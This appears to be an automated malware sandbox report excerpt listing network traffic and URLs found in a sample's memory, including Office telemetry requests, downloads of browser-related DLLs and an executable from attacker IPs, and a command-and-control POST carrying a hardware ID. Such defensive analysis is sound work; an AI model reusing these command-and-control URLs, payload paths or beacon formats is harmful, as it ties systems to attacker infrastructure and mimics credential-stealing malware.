Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: www.google.com

Source: unknown

HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 37 38 33 46 37 43 30 36 46 45 46 33 34 38 39 38 38 39 34 31 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="hwid"0783F7C06FEF3489889415------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="build"stok------JKKFIIEBKEGIEBFIJKFI--

Source: file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exe
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/mine/random.exeS;$
Source: file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dlla
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dllo=k
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dllW
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2737576972.00000000010C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php#
Source: file.exe, 00000000.00000002.2737576972.00000000010D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpO
Source: file.exe, 00000000.00000002.2746754434.000000000B783000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd6f94fcd407bc03e2fac64c2fd51Extension
Source: file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpge
Source: file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206c4becf79229cb002.phpge
Source: file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206ta
Source: skotes.exe, 00000011.00000002.3373829942.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php1
Source: skotes.exe, 00000011.00000002.3373829942.000000000081B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpB
Source: skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpY
Source: skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpe
Source: skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpg
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.2750360570.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.2750226486.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2744089459.0000000005741000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: JEBGCBAF.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
